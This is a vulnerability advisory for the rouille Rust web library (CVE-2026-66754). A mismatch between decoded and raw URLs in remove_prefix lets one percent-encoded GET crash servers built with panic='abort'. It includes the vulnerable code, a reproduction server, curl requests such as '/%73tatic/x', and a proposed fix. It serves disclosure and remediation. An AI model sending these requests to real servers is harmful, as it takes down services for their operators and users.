
Уведомление о безопасности: удалённый отказ в обслуживании из-за достижимого утверждения при обработке префикса URL (rouille)
Assigned CVE ID: CVE-2026-66754
Request::remove_prefix проверяет процентно-декодированный URL, но выполняет assert над сырым. Запрос, чей декодированный путь начинается с префикса, а сырой путь — нет, проходит проверку и вызывает срабатывание assert. Достаточно процентно-закодировать один символ префикса.
При сборке по умолчанию паника перехватывается и превращается в 500. При сборке с panic = "abort" перехватить её нечем, и один неаутентифицированный GET завершает процесс сервера.
Repo URL: https://github.com/tomaka/rouille
| First affected | 0.1.6 (2016-09-22), the release that introduced remove_prefix |
| Last affected | 3.6.2 (2023-04-24), the current release |
| Not affected | 0.1.5 and earlier, which have no remove_prefix |
| Fixed in | no fixed version at time of writing |
The function is unchanged across every release in that range and in current
master. Applications are affected if they call Request::remove_prefix, which
is the pattern rouille documents for serving static files under a URL prefix
(src/assets.rs lines 66 to 75, and src/lib.rs lines 804 to 811).
CWE-617 (Reachable Assertion), leading to CWE-248 (Uncaught Exception).
CVSS 4.0 base score 8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
A remote, unauthenticated client that can send one GET request. No credentials and no user interaction.
panic = "abort" is not Cargo's default, but it is a common release profile
choice for smaller binaries and lower overhead. rouille depends on unwinding for
availability, since Server::process relies on panic::catch_unwind at
src/lib.rs line 602 to convert handler panics into a 500. That dependency is
not documented.
rouille/src/lib.rs, lines 813 to 822:
813 pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
814 if !self.url().starts_with(prefix) {
815 return None;
816 }
817
818 // TODO: url-encoded characters in the prefix are not implemented
819 assert!(self.url.starts_with(prefix));
820 Some(Request {
821 method: self.method.clone(),
822 url: self.url[prefix.len()..].to_owned(),
Line 814 calls self.url(), which percent-decodes. Line 819 asserts on
self.url, the raw field, and line 822 slices that same raw field. The two
representations disagree whenever the path contains a percent escape inside the
prefix:
The same mismatch also means remove_prefix never routes a legitimately
percent-encoded path, so the correctness bug and the availability bug share a
fix.
Step 1. Start a server using the documented prefix idiom.
use rouille::Response;
fn main() {
rouille::start_server("127.0.0.1:8003", |request| {
if let Some(r) = request.remove_prefix("/static") {
return rouille::match_assets(&r, ".");
}
Response::text("home")
});
}
Step 2. Send a benign request and an equivalent request with s percent-encoded.
--path-as-is stops curl from normalising the path.
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/static/x'
curl -sS -o /dev/null -w '%{http_code}\n' --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Result on a default build. The first is a normal 404 for a missing file, the second is a panic turned into a 500:
404
500
with this on stderr:
thread '<unnamed>' panicked at src/lib.rs:819:9:
assertion failed: self.url.starts_with(prefix)
Step 3. Rebuild the same program with abort-on-panic and repeat the second request.
[profile.release]
panic = "abort"
cargo build --release
./target/release/<binary> &
curl -sS --path-as-is 'http://127.0.0.1:8003/%73tatic/x'
Result. The process terminates with SIGABRT (exit code 134) and the server stops answering. One request, no authentication, total loss of availability.
On builds with panic = "abort", a single unauthenticated request stops the
server. On default builds, requests whose path contains a percent escape within
the prefix return 500 instead of being served, so the routing is also incorrect
for legitimate clients.
Note that the panic cannot poison the mutex that Server::process unwraps
outside catch_unwind at src/lib.rs lines 643 and 649, because
remove_prefix only clones the Arc and never holds a guard. On unwinding
builds the worker thread recovers cleanly.
Perform the comparison and the slice on the same representation. The simplest correct version compares and slices the raw URL:
pub fn remove_prefix(&self, prefix: &str) -> Option<Request> {
if !self.url.starts_with(prefix) {
return None;
}
Some(Request {
url: self.url[prefix.len()..].to_owned(),
..
})
}
If the decoded-comparison behaviour is intended, decode the URL once, strip the prefix from the decoded string, and re-encode the remainder rather than slicing the raw field.
Either way the assert! should go. A library should not abort the process on
attacker-controlled input. Documenting that rouille requires panic = "unwind",
or removing the reliance on catch_unwind for correctness, would also help.
| Raw URL | url() decoded | Line 814 | Line 819 |
|---|
/static/x | /static/x | passes | passes |
/%73tatic/x | /static/x | passes | fails |
/stati%63/x | /static/x | passes | fails |